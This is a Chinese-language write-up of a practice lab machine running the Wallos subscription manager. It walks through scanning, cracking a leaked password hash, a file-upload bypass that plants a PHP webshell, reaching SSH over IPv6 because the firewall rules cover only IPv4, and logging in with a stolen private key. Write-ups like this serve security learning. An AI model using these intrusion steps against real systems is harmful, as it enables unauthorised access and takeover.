扫描
nmap有点慢，fscan先探路
fscan -h 192.168.56.121 -nobr -p "1-65535"

wallos，开源的个人订阅管理工具，虽然感觉大多用来做管账的了。

扫到了db文件，真是严重的信息泄露啊……
在user表中找到账号和hash信息
丢进cmd5，解得密码为admin
成功登陆

这个只是个教程，不过照着做就行了
文件上传漏洞
首先在主页上新建一个订阅
然后右上角有一个upload Logo，先随便上传个正常图片抓包
然后在重放器里面把图片后缀改成.php,再留个图片头，就可以写webshell了
然后上传的图片都会重命名放到http://192.168.56.121/images/uploads/logos/路径下。

ipv6绕过iptables
卡了好久，最后从ll104567佬的视频了解到iptables命令只对v4过滤，想要配置v6的话要使用ip6tables。估计很多防火墙都会在这一点上疏忽，不过我还是头一次知道这种利用方法，非常感谢非常感谢！
首先这里在靶机里面使用ping6命令进行探测是不行的，探测出来的v6地址也只能是虚拟网卡的地址
root@:~# ping6 -I eth0 ff02::1%2 | cut -d\ -f4
ping6: Warning: source address might be selected on device other than: eth0
::
fe80::dea1:f7ff:fe82:7613%eth0:
fe80::216:3eff:fe00:0%eth0:
然后因为我的跳板机是windows，所以最方便的方法就是使用netsh的邻居发现功能
netsh interface ipv6 show neighbors
靶机的v6地址可能是fe80::a00:27ff:fed3:e511
然后在arp表项里面对照一下v4地址就能验证了。
arp -a | findstr 08-00-27-d3-e5-11
注意windows使用ipv6地址需要在末尾加上%[接口号]，不然会识别不到
nmap扫描成功
nmap.exe -6 fe80::a00:27ff:fed3:e511%10
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-18 21:47 中国标准时间

nnd，果然在这里开着ssh
把容器的root用户下的ssh私钥拖出来后使用，即可直接连接靶机。
2bd693135712f88726c22770278a2dcf
最后来看看靶机的iptables是怎么配置的吧
root@airbind:~# iptables -L

ACCEPT tcp -- 192.168.10.0/24 anywhere tcp dpt:ssh
DROP tcp -- anywhere anywhere tcp dpt:ssh

Chain OUTPUT (policy ACCEPT)
